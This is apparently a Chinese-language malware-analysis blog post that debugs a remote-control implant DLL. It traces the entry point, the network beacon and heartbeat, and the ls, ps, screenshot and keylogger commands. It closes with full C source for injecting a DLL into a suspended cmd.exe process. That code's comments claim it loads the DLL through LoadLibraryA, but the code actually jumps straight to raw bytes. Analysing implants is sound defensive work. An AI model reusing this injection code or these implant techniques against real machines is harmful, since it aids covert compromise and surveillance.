BOOL __stdcall DllEntryPoint(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)

image

这里步入loc_36732B4,其实就是静态分析的

1
2
if ( fdwReason == 1 )
_security_init_cookie();

调用\_security\_init\_cookie函数

_security_init_cookie​ 是 Microsoft Visual C++ 运行时库 (CRT) 提供的一个函数,用于初始化一个安全 cookie 值,以帮助检测栈溢出漏洞。

人话:安全检测函数

因为已经知道这个函数的具体作用就直接步过,下一步就是进行_DllMainCRTStartup()函数​的调用

\_DllMainCRTStartup​ 是 Microsoft Visual C++ 运行时库 (CRT) 提供的一个特殊的 DLL 入口点函数,用于处理 DLL 的生命周期事件。它是 Windows 动态链接库 (DLL) 的标准入口点函数之一。

image

_DllMainCRTStartup()函数没有调用_security_init_cookie()进行安全存根校验,这是 因为VCRuntime允许在进程附加时立刻调用_security_init_cookie()进行安全存根校验,即 DllEntryPoint()中的行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
__int64 __fastcall _DllMainCRTStartup(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
BOOL v7; // DllMain 函数的返回值
unsigned int v8; // 函数的返回值

// 如果 fdwReason 为 0 且 dword_1800434D8 未设置,返回 0
if (!fdwReason && !dword_1800434D8)
return 0i64;

// 如果 fdwReason 为 1 (进程附加) 或 2 (线程附加),调用 CRT_INIT
// 如果 CRT_INIT 返回 false,返回 0
if (fdwReason - 1 <= 1 && !CRT_INIT(hinstDLL, fdwReason, lpvReserved))
return 0i64;

// 调用用户提供的 DllMain 函数
v7 = DllMain(hinstDLL, fdwReason, lpvReserved);
v8 = v7;

// 如果 fdwReason 为 1 (进程附加) 且 DllMain 返回 false,
// 再次调用 DllMain,fdwReason 为 0 (进程分离),
// 并调用 CRT_INIT,fdwReason 为 0
if (fdwReason == 1 && !v7)
{
DllMain(hinstDLL, 0, lpvReserved);
CRT_INIT(hinstDLL, 0i64, lpvReserved);
}

// 如果 fdwReason 为 0 (进程分离) 或 3 (线程分离),
// 调用 CRT_INIT 并使用结果设置返回值
if (!fdwReason || fdwReason == 3)
v8 &= -(CRT_INIT(hinstDLL, fdwReason, lpvReserved) != 0);

// 返回结果
return v8;
}

功能分析

image

1
(sub_19DFD4)(v2, v3, v23);

进入分析sub_19DFD4

image

api-ms-win-http-time-l1-1-0​ 是 Windows 操作系统中的一个 API 集合,属于 Microsoft 的 API 微软 API 版本管理体系。它通常用于处理 HTTP 请求和时间相关的功能。

image

off_1BC548处是一个wininet_InternetSetOptionA函数所以sub_19DFD4函数是发送请求

wininet_InternetSetOptionA​ 是 Windows API 中的一个函数,属于 wininet​ 库,用于设置 Internet 连接的选项。这个函数允许开发者配置许多 Internet 相关的行为和设置,影响 HTTP、FTP 等协议的网络请求。

函数概述

  • 功能: InternetSetOptionA​ 函数用于设置 Internet 连接的特定选项,如超时、代理设置、缓存行为等。

  • 语法:
    c

    复制

    1
    2
    3
    4
    5
    6
    BOOL InternetSetOptionA(
    HINTERNET hInternet,
    DWORD dwOption,
    LPVOID lpBuffer,
    DWORD dwBufferLength
    );

参数

  1. HINTERNET hInternet​:

    • 一个句柄,指向一个 Internet 连接。如果为 NULL​,则表示全局设置。
  2. DWORD dwOption​:

    • 指定要设置的选项。可以是以下常量之一:

      • INTERNET_OPTION_PROXY​:设置代理服务器。
      • INTERNET_OPTION_TIMEOUT​:设置连接超时。
      • INTERNET_OPTION_USER_AGENT​:设置用户代理字符串等。
  3. LPVOID lpBuffer​:

    • 指向包含选项值的缓冲区。其类型和内容取决于 dwOption​ 的值。
  4. DWORD dwBufferLength​:

    • lpBuffer​ 指向的缓冲区的大小(以字节为单位)。

返回值

  • 如果函数成功,返回值为非零值。如果失败,返回值为零,可以通过调用 GetLastError​ 来获取错误代码。

跳出这个函数继续调试进入19DF80偏移处的函数

image

这一步成功上线

ls(列出当前目录中的文件和子目录

image

上线之后在客户端完成交互,输入ls,之后会预先循环一次

image

unk_1C0A80这里实现了心跳60s,可以在客服端修改时间,为了方便调试,sleep 5修改心跳时间

image

进入sub_1C6654函数,继续执行到功能选择的那个函数内部

image

sub_1C0594函数就说实现了ls功能的函数,步进查看详细逻辑

image

image

做了一个do while()循环将当前目录下的所有文件的size、 type、 Last Modified、 Name;结束之后退出,到达sub_1BE188函数,发送了Internet请求,然后客户端接收到数据

image

image

ps操作也是和ls操作结构类似使用kernel32_GetCurrentProcess等win api函数,获取process然后储存到特定内存等到发送完Internet请求之后在客户端回显靶机的process

screenshot

上线之后发送screenshot​操作,和上面ls调试类似进入功能选择函数,进行判断,它会先通过sub_150CE8函数,这个函数实现了一个启动傀儡进程并注入dll的完整操作

为了方便使用之前dump的静态文件进行分析

image

进入sub_1800189B0继续分析

image

通过动调分析180018AF0似乎进行了sysnative的调用,进入sub_180015298

image

通过静态分析,15A0A0是memset函数,

image

这个函数创建了一个进程,并挂起,启动傀儡进程的关键步骤

image

创建了一个size=30C00h的内存空间,在内存里面找到这个dll,dump出来后面分析;WriteProcessMemory​函数将代码注入到指定内存中

image

这里恢复挂起之后就,相当于将前面创建,并注入的线程进行运行,启动了傀儡线程?

image

这里是创建了一个file,将截屏保存,后面转换为网络数据,发送回到客户端

image

keylogger​命令与screenshot类似,差距在进程注入那里的dll

补充:

实现一个傀儡进程并将 DLL 加载到内存中

实现步骤

  1. 创建傀儡进程:
    使用 CreateProcess​ 创建一个新的进程,该进程将作为傀儡进程。
  2. 获取 DLL 的内存:
    将 DLL 的字节流保存在内存中,而不是从磁盘加载。
  3. 注入 DLL:
    使用 VirtualAllocEx​ 在目标进程的内存中分配空间,并使用 WriteProcessMemory​ 将 DLL 的字节流写入目标进程的内存。然后,通过 CreateRemoteThread​ 或 NtCreateThreadEx​ 在目标进程中执行 LoadLibraryA​,加载该 DLL。

示例代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
#include <windows.h>
#include <stdio.h>

// 示例 DLL 的字节流(此处应替换为实际的 DLL 字节流)
unsigned char dllBytes[] = {
// 将您的 DLL 的字节流放在这里
};

size_t dllSize = sizeof(dllBytes);

DWORD WINAPI ThreadFunction(LPVOID lpParam) {
// 这里是傀儡进程的主线程逻辑
Sleep(10000); // 模拟操作
return 0;
}

int main() {
// 创建傀儡进程
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;

if (!CreateProcessA(
NULL,
"C:\\Windows\\System32\\cmd.exe", // 傀儡进程
NULL,
NULL,
FALSE,
CREATE_SUSPENDED, // 创建为挂起状态
NULL,
NULL,
&si,
&pi)) {
printf("CreateProcessA failed: %lu\n", GetLastError());
return 1;
}

// 在目标进程中分配内存
LPVOID remoteMemory = VirtualAllocEx(pi.hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!remoteMemory) {
printf("VirtualAllocEx failed: %lu\n", GetLastError());
TerminateProcess(pi.hProcess, 1);
return 1;
}

// 将 DLL 字节流写入目标进程
SIZE_T bytesWritten;
if (!WriteProcessMemory(pi.hProcess, remoteMemory, dllBytes, dllSize, &bytesWritten)) {
printf("WriteProcessMemory failed: %lu\n", GetLastError());
VirtualFreeEx(pi.hProcess, remoteMemory, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 1);
return 1;
}

// 创建远程线程以加载 DLL
HANDLE hThread = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
if (!hThread) {
printf("CreateRemoteThread failed: %lu\n", GetLastError());
VirtualFreeEx(pi.hProcess, remoteMemory, 0, MEM_RELEASE);
TerminateProcess(pi.hProcess, 1);
return 1;
}

// 恢复傀儡进程
ResumeThread(pi.hThread);

// 等待傀儡进程结束
WaitForSingleObject(pi.hProcess, INFINITE);

// 清理
CloseHandle(hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);

return 0;
}